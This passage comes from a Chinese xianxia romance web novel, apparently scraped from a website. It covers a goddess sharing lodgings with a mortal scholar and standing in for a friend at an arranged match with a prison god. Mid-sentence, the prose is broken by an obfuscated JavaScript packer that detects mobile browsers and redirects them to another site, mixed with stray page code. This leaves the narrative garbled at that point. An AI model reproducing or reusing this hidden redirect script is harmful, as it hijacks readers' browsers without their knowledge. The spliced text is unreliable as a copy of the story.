谢烬无声地注视她那一副臊眉耷眼的样子,心中有了定数,淡声吩咐毕方:“调转车道,先去洲桥夜市。” 毕方纳闷了,洲桥夜市乃是吃喝玩乐的所在,主子怎么会突然想去洲桥夜市?难不成是发现了什么新线索?对,肯定是这样。 比及到了洲桥夜市,他等着主子吩咐,谁料,主子给了他一袋银锭,让他去将所有能买的甜食,一律买回来。 毕方心下惊异,主子乃是修道之人,除非应酬,寻常的日子里皆是过午不食,极其自律。 除非是…… 毕方望见轿厢角落里的一截绯红裙角,才有了答案。主子待这个日游神,终究是有些不同。 他应下称是,速速离去。 不过一刻钟的光景,毕方就采买了一堆甜食回来。 酥油鲍螺,栗糕,馓子,蜜饯果子,梅花汤饼,蜂糖糕,酥饼……凡所尽有,无所不有。 芙颂欢喜不已,真是瞌睡了有人递枕头,现在她饿了,白衣谪仙刚巧也饿了,采买来的东西刚巧都是她爱吃的。 芙颂食指大动,嘻嘻嘻……她就偷吃那么三两个、三四个,白衣谪仙应该不会觉察到的罢? 她偷偷摸摸捻起一枚酥油鲍螺,品尝了起来。 吃了一个不够,再吃一个罢,就再吃一个。 谢烬从隔间里拿起备用的茶具,温煮了两碗沉香茶,淡绿色的茶汤里,倒映着女郎吃东西的样子,她两腮一鼓一鼓的,小口小口地缓慢咀嚼,眼底露出了幸福而满足的神色。 他以前寻找连璧笔时,翻了她的袖囊,意外发现她袖囊里藏了很多甜食,从那时起,他便知道她爱吃甜的了。 谢烬并不爱吃甜的,觉得甜物引人发腻,但眼下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408657|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到她吃东西吃得这样香,他也被挑动了品尝的欲-望,也捻起了一枚栗糕浅尝了一口。 虽是甜的,但好像也没那么讨厌。 芙颂吃饱后,拿起茶碗来润了润口,浅喝一口,一股馥郁的茶香直灌肺腑,身体各处毛孔仿佛被一只温柔的手抚平了去,变得舒适极了。 谢烬看了一眼芙颂手中的茶碗,又看了一眼另一碗,忽而发现,她喝得是自己方才浅抿过的那一碗。 他下意识想要阻止,见她已经喝完了,错误已然酿成,他喉结一紧,拢回手指,心道一声罢了。 芙颂喝了茶,没觉察有什么不对的,但发现自己的口脂印在了茶盏上,担心被白衣谪仙觉察,连忙用指腹擦了擦,擦干净以后才放心下来。 马车踩着一片粼粼之声,一路穿街过巷,半个时辰后终于抵达盛都馆舍。此际恰是酉时,夜色韫浓,一轮皎月出乎于东山之上,远观而去,像个活色生香的白玉盘。 芙颂伸了个懒腰,吃饱喝足后,终于可以睡觉啦,毕竟,她已经连续三日没睡觉了。 她跟着白衣谪仙一前一后入了馆舍。 偏偏这时,传声纸鸟传来了一道紧急信息。 芙颂以为是羲和帮她抄经的事被夜游神发现了,趁着四下无人,接了起来。 羲和道:“我差点都忘了,明日有两件重要的差事,需要委托小颂颂代劳啦。” 芙颂义正辞严:“我甘愿为姐妹两肋插刀。” 羲和笑了出来:“其实也不难。第一桩是去万象宫帮我点个卯,走个过场就可以。第二桩是去十刹海相个亲。” 听到第一桩,芙颂还算淡定,听到第二桩,她就不淡定了:“让我代替你去相亲,如何使得?万一……万一搞砸了呢?” “就是要搞砸才好,这一桩相亲是师傅句芒安排的,非我本愿,她总是热衷于为万相宫每个神僚做媒,比月老还殷勤,巴不得抢了月老的饭碗。” 芙颂觉得万象宫与极乐殿完全是两种画风。 若是翼宿星君也如句芒这般开明的话,她现在也不至于偷偷摸摸下凡找人睡觉。 没有对比就没有伤害! 芙颂一晌从袖裾里摸出小本本,一晌虚心请教道:“你教我一些话术罢。” 羲和道:“不管对方问什么、说什么,你一律说‘还行’就可以了。这样一来,他就会觉得你敷衍,也聊不下去了。这一场相亲,很快就会结束的。” 芙颂赶紧拿小本本记下来。 说完正事,羲和松了一口气,关切道:“你还没说说自己呢,与那位白衣谪仙进展如何?” 芙颂心道:“能有什么进展呢,不就是睡觉关系吗?” 羲和道:“既然睡觉的话,那事前可有一起共浴?” 芙颂的面颊一下子烫了起来:“……非礼勿视,非礼勿听!” 羲和咯咯笑了起来:“我知道小颂颂胆子小,不过呀,做这些更有利于睡个好觉呢!” 芙颂开始心旌摇曳起来:“……当真么?” “实践才能出真知,小颂颂试一试不就晓得了?” 14、【第十四章】 【第十四夜】 “公子,热水已经备好,新的衣物也挂在衣椸上了。” “有劳。” 谢烬徐缓地放下书卷,去濯室前,有意无意地往寝屋的方向淡望而去。 床榻平铺着上好的冰蚕丝枕褥,床面比寻常要宽敞一些,躺下三四个人并不成问题。床榻前放着一只窄案,案上燃着安神助眠的檀香,香气袅袅升腾,如女人妖娆纤细的手臂,在他眼前婀娜多姿地摇来晃去。 他的皮肤还明晰地记着芙颂从背后缠绕上来的温腻触感,或许她是无心这样做的,只是为了看清楚他在看什么书,但她遗留下来的触感,强硬地錾刻在了他的身体里,饶是想忘,也忘不掉。 床榻上没有人,这意味着芙颂还没进来,莫不是迷了路? 这一座馆舍是围龙屋的正圆环状格局,拢共三层,每一层有十几座屋宇,说大也不大,说小也不小。 “毕方,出去找一找。” 毕方正在整饬行箧,闻及此,如丈二的和尚,摸不着头脑:“找什么?” 谢烬静静地望着他,薄唇噙着一抹浅浅弧度,神态看起来比寻常要温和。 毕方觉得主子是个不苟言笑的人,笑比不笑要恐怖,他答了声“诺”,化作一只红鹦鹉,扑棱着翅膀飞出去寻人了。刚飞出去,迎面就撞上了匆匆赶上来的芙颂。 芙颂甫一望见红鹦鹉,眼睛亮了起来:“原来你在这里呀!许久未见,甚是想念!” 毕方没好气地瞪了她一眼,但望见她掌心间变出了一堆可口鸟食,面上的怨气顿时烟消云散:“君子誓不吃嗟来之……唔,好吃!” 安顿好了毕方后,芙颂通畅无阻地入了寝屋。室内燃着沁人肺腑的檀香,将整个空间的睡张力都拉满了,芙颂在床榻上舒惬地滚了一圈,发觉滚着滚着,就将被褥弄乱了,她连忙起身又将被褥四角铺好,将每一条褶痕都细细捋平。 馆舍的床比不二斋的床要大很多,她心想,可能是白衣谪仙升了官秩,所以待遇也水涨船高。方才细致地观察了一下,能栖住在馆舍里的,都是在盛都有一定地位的人物,非富即贵。升迁是一桩好事,芙颂由衷地替他高兴。 恰在此时,濯室传了一阵沙沙沙的水声,芙颂听着听着,面颊开始痉挛起来,一抹难以掩饰的烫意从脖颈处蔓延,渐渐浸热了两侧的耳根,羲和方才的撺掇之语回荡在脑海里——「共浴有助于更好的睡觉。」 芙颂深吸了一口气,温吞吞地步向濯室,濯室与寝屋隔着一扇八轴荷花屏风,烛火蒙昧地罩着屏风内的人和物,一切的景致都朦朦胧胧地映现在了屏风处,上面的画面如皮影戏似的,让她观摩了一会儿便面红耳赤起来,面红耳赤之余,更多的是赏心悦目。 屏风是半透明的,她隐隐约约望见温湿的水珠从白衣谪仙那清隽的面庞一路滑下,划过匀实的肌理,最终隐入浓郁的水汽里,一切都像是入了画般。 白衣谪仙不光是手好看,身量也是极好看的。 芙颂有贼心,偏偏缺了贼胆,眼前这一道屏风如巨大的天堑,横亘在她的面前,饶是想跨过去,也是畏葸不前。 谢烬取来衣椸上的衣衫和发带,更衣毕,绕过屏风时,便注意到了徘徊不前的芙颂。她蹲在地上抱着膝面,双颊上印染着一抹潮晕,大袖之下的两根手指忐忑地绞着,而她的乌绒绒的脑袋上,长出了两片葱葱溶溶的莲叶,左边的莲叶写着「进去」,右边的莲叶写着「不进去」,目前两片莲叶正在相互打架。 这两片莲叶过于招摇了,想要忽视都难。 她似乎想得很入神,都没注意到他。 谢烬扬起两根修长的手指,淡淡地掐掉了这两只莲叶。 芙颂如梦初醒,魂魄归位,看到眼前伫立着一道修长峻拔的影子,地面上是男人雪青色的竹纹袍边,风一吹,卷起了千堆雪。 她教清冽的雪光晃了晃眼,吓了一跳,噌的一声鲤鱼打挺似的站起来,不慎绊倒了一旁的博山炉,檀香嘈嘈切切错杂弹,惊乱了夜里的幽静。 因长久蹲坐,一下子站起来,芙颂眼前不免黑了一黑,像个不倒翁似的左摇右晃,眼看又要跌跌撞撞地栽倒。 谢烬抻臂扶住她,待她稳住身躯,才拢回动作。 恰逢此时,芙颂抬起了头,嘴唇意外碰蹭到了一抹温凉的触感,好像是白衣谪仙的下颔……亦或者是说,他的面颊。 此一意外之举,竟是让她生了一份似曾相识的感觉。 但芙颂来不及去细思,下意识道歉:“对不起,我并非有意冒犯。” 当然,她捏了隐身诀,白衣谪仙是听不见的,哪怕是被亲了一口,他面容上的神态也是淡淡的,格外平静,没什么很明显的情绪波澜。 芙颂由衷喟叹了一句,真仙人也,就像是高台上的清冷神像,神姿高彻,只可远观而不可亲近。 她就是喜欢这种气质的郎君。 月华如霜,台楼沉沉,支摘窗外的刺桐树沉浸在了漆色的屋檐之下。 白衣谪仙去了寝屋,芙颂扶稳一旁的博山炉,行将跟上去,忽地一片潮汐似的记忆幡然涌上脑海,针扎似的疼,生生搅得她怔在原处。 一时是她在追缴过程中,被□□妖变作石像,不得不拼尽全力冲破庙宇,撞倒在昭胤上神身上。一时是她睁眼醒来后,开始有了些微知觉,第一眼看到的不是夜游神那张恨铁不成钢的脸,而是男人如刃般的削薄嘴唇,还有那一双深不见底的眸,眸下的卧蚕处覆有一小片神秘瑰丽的火麟纹。 “石禁术乃是至阴之招,便要用纯阳之人来破,纯阳体质的人可以化解石禁术……” “说白了,就是直接亲石像的嘴,石禁术就会化解!” …… 芜乱的记忆俨同麦芒,疯狂地扎在芙颂的脑海深邃处。 她定了定神,竭力想要看清那个男人的模样,奈何啥也看不清楚,唯一让她印象深刻的,便是那一抹火麟纹,想来是昭胤上神独有的印记。 一直以为是夜游神破解了自己身上的石禁术,记忆却在暗示她,似乎是昭胤上神。 那为何她在九莲居醒来时,师兄并未提及昭胤上神? 芙颂需要问个清楚。 黑白无常当时也被石化了,估摸着现在也疗愈了,他们或许知晓一些她如何获救的情况。 芙颂速速捏了个传声纸鹤,让它飞到冥府。黑白无常没让她等太久,不一会儿,纸鸟飞了回来,传来两人骂骂咧咧的声音:“这档子事儿你还敢提!咱俩被那个黑煞神提溜到泰山府君面前求救……呔,在所有阴差面前,咱俩的脸都丢光了!” 芙颂有些意外:“你们都中了石禁术,是如何得救的呢?” 那头怨气更重了:“你真是哪壶不提提哪壶,故意的吗?” 芙颂极为无辜:“我不记得那夜究竟发生过什么,才来寻你们讨教的呀。” 那头沉默了好一阵,终于道:“昭胤上神待后辈不错,至少不像泰山府君,亲了咱俩后,就直接劈头盖脸扣了咱俩薪俸,还被勒令去归墟洗厕所一百年,权当是赔偿他老人家的清誉费。抠门天下有共十斗,他老人家独占三十斗,咱俩各欠他十斗!” 芙颂:“……” 她震惊得嘴巴能够吞下一个龙蛋。 她讷讷道:“石禁术,当真是需要纯阳之体的神亲一口,才能消解的?” 她真的,被昭胤上神亲了一口吗? “不然你以为?退一万步而言,亲了一口如何?”白无常吐着舌头没好气道,“传闻中昭胤上神冷酷得不近人情,他亲你一口,肯定等同于阉人自摸——毫无感觉,毫无反应。” 芙颂:“……” 黑无常帮衬道:“亲一口又不会减损修为,你们天庭不知有多少女神觊觎他呢。再说了,大半夜的,你干嘛在此事上纠结?思春了啊?” 芙颂面无表情道:“谢谢答疑。哼哈二将可以闭嘴了。” 她当机立断地掐了传声纸鹤,去寻了一盆凉水敷面,等到体内的热气退了下去,她才堪堪冷静下来。 也是,自己在胡思乱想些什么呢? 睡觉!睡觉!睡觉! —— 子夜初刻,谢烬就被冷醒了。 盛都比庐陵郡要偏北,昼夜温差大,每到夜里,就会变得很冷。 在晦暗的光影里,他微微睁开双眸,发现原本盖在身上的棉衾,悉数被卷走了,始作俑者正舒服地裹着厚被子,睡得正香。 谢烬遭了罪似的压了压眉心,想要从芙颂身上曳开一角被子,却是曳不动。 原来她将衾被卷了好几层,整具身躯严严实实地裹在里面,只露出一张巴掌大小的脸。 月色如练,覆照在她的卷翘纤细的睫毛上,似穿花蛱蝶,扑棱棱地映入他的眸底。 谢烬点燃了半盏灯,温起书来,不知为何,在春风沉醉的良夜里,书里的内容变得寡淡无趣起来。 他索性侧过身躯,以左臂撑着颐面,淡淡垂下眸,好整以暇地观摩了她。 三日之约结束后,他与她本不该有交集,如今,竟是又同床共枕了。 是她主动寻上门来,他也没有表明拒绝的态度,纵容她靠近,纵容她得寸进尺。 他道不清楚具体的缘由。 风吹过,她鬓角一绺发丝滑落在他的掌心间,他捻起发丝儿,有意去扫她的鼻尖。 芙颂在半梦半醒间觉得很痒,拍掉那一抹痒意,梦呓:“别闹了羲和……明日还要去十刹海……” 十刹海。 谢烬的眸色沉了一沉,她要去十刹海做什么? 明日泰山三郎刚巧也要在十刹海举办春日雅集。 谢烬凝神,欲细听下去,芙颂却没再说下去。 ——还有,羲和。 这是万象宫的春神。 原来她与春神还是关系不浅的朋友。 谢烬静默片晌,毕方翌日要跟随他,并不方便抽身。他的视线落在了她袖子里滑落出来的传声纸鸟,若有所思。 随后,他也捏了个小火人,在小火人上画下了隐形定位符,藏入了芙颂的袖裾里。 这样一来,明日她在何处,小火人便会随时跟他通禀了。 15、【第十五章】 【第十五章】 今昼,芙颂清清爽爽醒来,一睁眼,天都榻了! 她,她怎么把被子都抢走了,竟是还霸占了床上大部分的位置? 白衣谪仙在一个角落里瑟瑟发抖。她小心翼翼摸着他的手背,冷冰冰的,没有寻常的温暖。 一股莫大的愧怍席卷芙颂的心头,她连忙将衾被裹回他的身上。 不忘看了一眼更漏,快要到点卯和相亲的时间了。 她连忙下榻起身去准备了。 —— 十刹海是一座修葺在海上的寺刹,居于盛都以北的朱雀门外,碧竹嶒嶒,罄音幽远,方五十亩,乃属凡间最鸿大的梵宇。不光鸿大,它对姻缘也是极其灵验的,相传一对眷侣,能够相携划舟,绕十刹海一周,便受到刹海神的庇护与惠施,一生一世永结同心,白首偕老。 芙颂在万象宫点卯过后,甫一行至十刹海,便被此处人头攒动的香客们惊住了,场景如下—— 人人人人人人人人人人人 人人人人人她人人人人人 人人人人人人人人人人人 芙颂:“……” 凡间的女人男人,对姻缘一事,看来还是很热切的呀,当然,神职人员也不能免俗,要不然,为何要将相亲地点定在这个地方呢? 临出发前,羲和通过传声纸鸟告诉她,相亲对象是一位武神,身高九尺,身负长剑,会在十刹海东岸的红门津渡一艘乌篷船上等候。 传达这个消息时,羲和忍不住吐槽道,谁家好人相亲会戴凶器啊,肯定是个目不识丁的大老粗。 隔着纸鸟,芙颂能够想象的到她在九莲居里一边抄经一边翻白眼的样子了。 芙颂觉得,不一定所有武神都是大老粗,譬如翊圣真君、玄武真君,一位杀伐果决,一位骁勇善战,交战起来还是挺好看的。 不过……今日既然是奔着“搞砸相亲”的目的去的,那还是不要帮武神说话了。 春光潋滟,夹道两侧,植满了橘红色的木棉,凉风吹过,木棉一朵一朵地往下坠落,沦落成泥,渐渐铺成了十里红妆。 前面迎面行过来一对母女,女童的手上牵着一只飘在半空的纸鸢,怎料行在半途,纸鸢卡在了木棉树的最高处,任凭女儿如何曳扯,纸鸢就是不下来。母亲寻过路的人帮忙,路人都爱莫能助地摇了摇首,女童难过得开始掉眼泪。 芙颂见状,疾行前去,无声念了一串摇头诀,木棉树果真乖乖地摇晃了起来,随后纸鸢就顺着顶处的树杈落了下来,稳稳当当地落在了芙颂的掌心间。 “谢谢女公子!”女童接过纸鸢,规规矩矩朝芙颂做了一个谢礼。 芙颂笑道:“举手之劳,快去玩罢。” 女童的母亲深深地望了芙颂一眼。鎏金的日色薄薄筛过树杈,交织着春日的晴岚,投映到了芳靥上,衬得她每一处五官都粉雕玉镯,眉眼状似瑜玉,肌肤欺霜胜雪,在早春时节里绽放着光泽,无形之间焕发着慑人心魄的美。 引得路旁的行客忍不住侧目。 女童的母亲瞧了芙颂好一会儿,忽地温和道:“女公子积了善缘,近日必定会有接踵而至的好桃花。” 芙颂只是含笑听着,并没有往心里去,和颜悦色道:“红门津渡是往这儿走吗?” 她指了指自己正要走的方向。 女童的母亲露出讶色道:“姑娘怕是走反了方向!红门津渡应该在那边。” 她亲自指了指正确的方向,还十分贴心给芙颂画了个地图。 “既如此,真是多谢了!”别了母女二人,芙颂径直往东岸踱步而去。 芙颂不知自己离开后,女童困惑地问道:“母亲为何要故意指错方向,那位女公子分明走得是正确的道路呀。” 母亲露出神秘的笑容:“有些方向看似错了,实则是正确的。有些道路看似是正确的,实则早已偏离正轨太久。” 女童听得云里雾里,似懂非懂道:“我们在十刹海呆了上百年,甘愿帮我拣良缘鸢的人,寥寥无几。母亲,方才那个女公子,是个好人,您身为刹海神,可不要整蛊她。” 刹海神笑道:“安心啦。她会有两朵好桃花,未来的话,两朵桃花指不定还会为她大打出手呢。” …… 芙颂以为东岸的香客会有很多,哪承想,愈是往岸上走,愈是人烟稀薄,好像是被谁刻意包了场子。 岸上长满了齐腰之高的金色芦苇丛,芦苇丛中有一匹高大雄硕的雪鬃烈马正在饮水,马身优雅,毛发敞亮,芙颂只一眼,便认出它是传说之中的白泽——少说有万年修为的战马,参加过不少著名的上古大战,它身上的伤口都是引人敬佩的勋章。 白泽野性难驯,战斗力极高,是无数武神的梦中情马。 但放眼整座九重天,白泽的主人,有且只有一个。 芙颂有些惊讶,万象宫的宫主句芒未免太厉害了,能够请动这样的大神。 她放眼望过去。 白泽背后停泊着一艘装潢的乌篷船,船身下方是波光粼粼的刹海,传来一片悦耳的浪涛声,一动一静,相得益彰。 乌篷船周遭晃荡着一片浓烈的金色结界,若是寻常的凡人,怕是根本靠进不了,好在芙颂修为也不浅,破解这样的结界,是绰绰有余的。 走入乌篷船前,芙颂做了一下心理建设,她是来搞砸这场相亲的,不必给对方留下什么好印象,并且,按照羲和的嘱托,不论对方说什么,她一律回答“还行”就好。 上船之后,芙颂便看到了一个靠在船舱里阖眸睡觉的男人,面容俊朗轩昂,着一席朱色獬豸纹宽衫,外罩深色雪绒薄袍,双臂覆软甲,腰悬蹀躞带,左侧配着红鞘龙首长剑。在春光的覆照之下,他身上的獬豸纹显得闪闪发光,仿佛被吹渡了一口仙气,活了过来,随时准备扑上前来。 男人左臂枕在脑袋下方,狭长的狐狸眼浅浅阖着,嘴上叼着一根芦苇草,仪容显得十分慵懒。 芙颂认出了男人的身份,之前在玉虚宫的黄金台上遥遥见过对方一眼,那些小神称呼此人为“狱神”,昼审阳,夜判阴,凡间入狱的罪犯们都要拜他三拜。 芙颂挺尊重这位前辈的,正想着要不要行一个晚辈礼,哪承想,整座乌篷船忽然剧烈地晃动了起来,水流变得极其湍急。 空气之中撞入一阵清亮的捣鞘之声,卫摧不知何时睁了眼,自上而下地俯瞰着芙颂,似笑非笑,鼻腔沁出一个啧声,语气却冷:“好看吗?” 芙颂镇定自若地在他对面坐下:“……还行。” 卫摧深如星辰的褐眸微微一闪,意味不明地打量着她。 芙颂是个淡人,坦坦荡荡任他打量,横竖她今日顶着春神羲和的身份,也丝毫不怕捅娄子了。 对方打量她,她也索性坦坦荡荡地打量回去。听羲和说,男人喜欢娇羞的女子,那她干脆一点都不矜持,崩坏自己在对方心目的印象。 接下来,让她匪夷所思地是,当自己一直盯卫摧看时,卫摧反而撇开了视线,耳根子浸染上了一抹微不可察的薄红。 这时候,芦苇丛外传了白泽的声音:“此女扰了殿下好梦,可要掼出去?” 卫摧没有率先应答。 今日泰山三郎在十刹海举办春日雅集,延请了三界有头有脸的人物,他难得休沐,本想补觉,偏偏母亲和妹妹一直撺掇他来,若是能够在雅集宴上寻个好眼缘的女神,也是极好的。 卫摧来了春日雅集后,象征性地喝了两盏摇光酒,就跑来北岸躲懒了。谁料,船舱内竟会有意外闯入的来客。 卫摧思绪归拢,先对白泽道了声不必,紧接着将捣出来的长剑捣回去,揉了揉后颈,嗓音的凛冽弧度柔和了一些:“你生得——还挺巴适得板。” 乌篷船外的白泽一听,鸡皮疙瘩都起来了,心道:“殿下的嗓音什么时候变得这么嗲了?” 芙颂没有白泽那么细腻,只觉得狱神也没有传闻中那样凶神恶煞嘛,还是挺和颜悦色的。她点了点头:“还行。” 卫摧笑了,掰正了身板,在她的对面正儿八经地敞开膝门坐了下来:“我叫卫摧,保家卫国的卫,摧枯拉朽的摧,掌刑狱之职。敢问女公子芳名?” 芙颂道:“羲和。” 顿了顿,又下意识补充了一句对仗:“羲和驭日的羲,和光同尘的和。在万象宫当差,主司春,管万物生发。” 卫摧伸出手掌,努了努下颔:“名字好听,写给我看。” 男人的手掌很宽大,许是常年练剑的缘故,指腹处生满了厚厚的薄茧。芙颂一下子想起了白衣谪仙的手,修长如竹节,骨节匀亭,指腹处也是覆了薄茧,想来是常年习字的缘故。 芙颂本来想掏连璧笔写给他看的,但掏着掏着,莫名掏出了生死簿。 芙颂:“!!!” 她想赶在卫摧看到以前,把生死簿收起来,偏偏卫摧眼力极好,视线一下子就逮到了她的掌中之物:“生死簿不是归极乐殿管辖的么?难不成你……” 芙颂怕露馅,道:“还行。我穷且爱财,身兼二差。多谢卫公子周谅。” 卫摧:“……” 她把卫摧想说的台词都说了,截了卫摧接下来的疑问,他张了张嘴唇,将疑惑压了下去,隐隐约约间,觉得眼前人有趣生动了起来。 卫摧让芙颂将生死簿收回去,另起话灶:“想去看一看十刹海上的浮光跃金么?” 海面有风吹过来,吹净了芙颂后背的潸潸冷汗,她见卫摧没再追问,舒下了一口气:“行。” 乌篷船慢悠悠地驰行在十刹海上,两人有一搭没一搭地聊着,主要是卫摧一直在说话,芙颂在应答—— “羲和姑娘也是来参加这次春日雅集的么?” “还行。” “方才说你巴适得板,是在说你生得标致、正宗。” 他顿了一顿,耳根又红了起来。显然,坐在他对面的女郎比他淡静许多,他想看她,又不能看太久。他不自在地望向海面,须臾,目光还是绕回来:“羲和姑娘信姻缘吗?” 芙颂:“还行。” “羲和姑娘话这样少,是很怕我?” 海风阵阵,吹乱了芙颂的发丝,她撩起发丝绾至耳后,摇摇头:“还行。” 卫摧长久地望了芙颂的侧颜一眼,有些晃神,嗓音微哑:“你不必这么防备,我不是什么凶神恶煞。” “还行。” 卫摧展颜一笑,微微倾身:“既如此,羲和姑娘对我印象如何?” “还行。” “我们今后继续保持见面的关系,好不好?” “还行。” 话一出口,芙颂觉察到了不对劲,稍稍愣住,掀起眼睑,颇为不解地望向卫摧。 卫摧环着臂膀,歪着脑袋,好整以暇地望定她,一双好看的狐狸眼藏着慧黠的光。 她明明都这么敷衍了,为何卫摧面上不仅没有露出失落或者败兴的样子,反而对她愈发有兴致了呢? 不行,得想方设法拒绝。 乌篷船慢慢漂流到了十刹海的中心位置,泊近了另外一艘巨大的楼船。 楼船崔嵬且壮丽,拢共三层,飞檐斗拱皆取曲水徽纹之态,船身与舷侧皆绘摹兰草纹,船中游动着诸多文人骚客,端的是衣香鬓影、觥筹交错,一看便是哪位世家大族正在举办着热闹的春宴。 “好你个卫摧,小爷想找你喝酒,找遍了楼船上下,竟是遍寻无获,没想到你竟是在找美人幽会!” 偏偏在这时,一道熟稔的声音在楼船顶处的露台传了下来,芙颂觳觫一滞,忍不住循声望去。那人穿着骚气的紫衫,打着一柄竹扇,竹面上写着“三郎天下第一”。 这厮不是那夜在渔阳酒坊被她痛扁过、并发誓要报血仇的泰山三郎吗?! 卫摧与泰山三郎是朋友吗? 更戏剧地还在后面。 “小爷近日结交了一位麒麟之才,卫摧你一定很感兴趣,他姓谢名烬,庐陵人士。谢公子,请!” 那骚气紫衫旁出现了一道仙气邈邈的白衣修影,仪容清冷,气质出尘,在一众文人骚客之中,显得格外醒目。 泰山三郎同谢烬说了几句,谢烬便朝着乌篷船的方向遥望了过来。 芙颂整个人顿时不淡定了,做贼心虚似的垂下了脑袋,天杀的,白衣谪仙为何会出现在泰山三郎包办的春宴上啊? 这个凡间未免也太小了,去哪儿都能遇到熟人。 羲和当初跟她交代相亲剧本,可并没有交代还要与相亲对象的朋友打交道啊! 这可是另外的价钱! 芙颂以最快的身法,龟缩在一处死角里,语气变得焦灼,吩咐道:“卫公子,能否掉头返回东岸?” 卫摧以为她是怕生,朗声一笑,宽抚道:“不打紧的,他们都是我朋友。跟他们打个招呼便走。” 眼看着乌篷船离楼船越来也近,芙颂的心就如被闷油煎煮过似的,坐卧难安。 被泰山三郎追杀事小,但在白衣谪仙面前出糗,那就是大祸了。 卫摧似是对她内心戏一无所知,在乌篷船与楼船之间搭了一座栈桥,朝着她伸出手,请她上楼船。 芙颂回头望了一眼此岸与东岸的距离,露出了近乎壮士断腕的决绝容色。 水遁啥的,她也不是不会! “噗通”一声轻响,海面掀起了一阵大风,乌篷船被掀倒了去。 卫摧眼睁睁地看到芙颂跳入了十刹海,他眉眼之间露出一抹意外,要将人捞上来,却听芙颂义正辞严地婉拒道: “我突然听说午游十刹海,既可以美容养颜,又可以增加财运,现在想一个人游回去,就不扰卫公子与朋友们的雅兴了呢。” 芙颂以为自己拒绝地足够明显了,但半个时辰,她还是被卫摧从什刹海里捞起来,带到了春宴上。 更精确而言,是被介绍到了谢烬和泰山三郎面前。 16、【第十六章】 【第十六章】 芙颂成为日游神的这几千年,从来没干过什么后悔事,她做事一凭良心二凭实力,自诩问心无愧,每做完哪些大事,事后她还会细细品味一番,觉得那时候的自己真了不起。 但卫摧捞她上了楼船,介绍给谢烬和泰山三郎的那一刻,她便生无可恋地捂住了脸,脑海里是无穷无尽的后悔! 千不该万不该替羲和应下这一场相亲局! 这不是相亲局,完全就是有去无回的鸿门宴! “美人为何要将脸遮挡起来?” 泰山三郎眯了眯眼,卫摧介绍给自己的这位神职人员,有些几分诡异的眼熟啊! 他抬高声量,“见到小爷还挡着脸,便是不敬,还不快放下!” 芙颂见卫摧不出声,没有想要替自己解围的意思,俨然一副看热闹不嫌事大的浪子样儿,一下子明白了过来——这个卫摧与泰山三郎指不定就是一伙人,泰山三郎先前被她暴揍过一顿,现下找了朋友来阴她,要让她在阴沟里翻船。 她方才就真真正正地翻了一次船,在海水里浸泡了一会儿,衣衫濡湿,鬓钗散乱,发丝如海藻似的披散在肩膊后,鬓角两侧发丝紧紧敷贴在苍白的面颊处。 谢烬的位置正好能看到芙颂的一些细节,诸如她身体在微微地颤动,弱柳扶风,似乎冷极了,但她一声不吭,并没有要求助于他的意思。也是,在白昼,他们是毫无联结的陌生人。冒然襄助,也只会徒增外人疑虑。 谢烬敛眸抿唇,掩在袖裾之下的手无声地画了一个火诀,她的袖子里藏有他安放的小火人,火诀起效后,小火人便会升温。 果不其然,芙颂蓦觉体内拱入了一个小暖炉子,驱散海水的寒冷,给她提供源源不断的热量,渐渐地,身体暖和了起来,披散在两肩的发丝和衣衫也干燥了。 这晌,泰山三郎还在对她施压:“小爷是个怜香惜玉之人,但美人若是顶撞小爷,莫怪小爷辣手摧花!” 情急之下,芙颂只好放下了双手,露出了真实的容颜。 泰山三郎怼近前一看,只一眼,整个人顿时面如土色,破音大嚷:“鬼鬼鬼鬼、鬼、鬼啊!——” 他吓得双腿一软,当场瘫倒在地,手脚并用地朝后爬。 他闹得动静之大,引得露台上所有人都争相望了过来,哪怕是故意设局的卫摧,见泰山三郎吓得魂不守舍,目露惑意,情不自禁向芙颂望去。 芙颂面上敷满了从乌篷船船底扒拉下来的黑色泥灰,将整张脸抹得乌漆墨黑的,她还故意翻了巨大的白眼,双手平伸朝前,学僵尸一跳一跳的,将嗓音掐得又尖又细,幽怨道: “三郎害得人家好惨呐,吸光了我的精气,就不负责了……人家好不容易从海里爬出来找你,你为何吓得这样?三郎……” “啊啊啊你别过来,别过来,姑奶奶……小爷啊不,小人给您磕头了!小人万花丛中过,委实不记得你是哪一枝花了。你可别缠上小人啊,小人身上有钱,你要多少钱,小人都烧给你!” 说着,泰山三郎将身上所有马蹄金都翻找出来,堆奉在芙颂的面前。 芙颂心里感慨一声真不愧是冥府阔少,出手就是大数目。她一晌将马蹄金揽入袖中,一晌正声道:“这些马蹄金,我就笑纳了。那些被你吸光了精气的凡间女子,你需在七七四十九日内为她们逐一修葺墓碑、念经超渡,否则……” 泰山三郎狼狈地跪在地上,哆哆嗦嗦道:“小人一定会如实照办!” 目的达成,芙颂以最快的身法敛财跑路,趁着泰山三郎反应过来,消失在了顶楼露台。 谢烬目送着芙颂逃之夭夭的身影,有些忍俊不禁,但思及方才她与卫摧共乘一舟,二人谈笑风生的样子,他唇角的弧度烟消云散。 泰山三郎吓得丢了三魂六魄,被扈从奉陵率先扶回船舱休息了,舷侧就余下两人。 春日雅集仍在有条不紊地进行着,不因一个小插曲而停歇。 “听闻谢公子擅对弈,来一局?”卫摧弯了弯狐狸眼,主动相邀。 谢烬眸色深深,坦荡赴局。 摆好棋盘,两人开始对弈。 未经一刻,棋盘上的黑白两子便呈现出了针锋相对的局面,落子声几如刀光剑影,正在进行厮杀,形同一场没有硝烟的战场。 海风浩淼,吹动着两人的袍角,下棋的空隙,已有不少执着纨扇的女郎借机路过,频送秋波。 及至女郎们散去,卫摧吊儿郎当的神态恢复一片肃穆:“关于魔神下落,我目前只得到了这个线索。” 比起方才客套有礼的口吻,卫摧现在的话音熟络得很,显然与谢烬相识久矣。 卫摧袖子一挥,谢烬掌心间多了一份竹简,淡眸下望,这种竹简的形制极其特别,竹简下端覆有螣蛇相缠的卦纹,细看起来,是去求谶纬才会有竹简。 谢烬对这种卦纹并不陌生,它就是魔神与座下子弟们传信时独有的徽识。 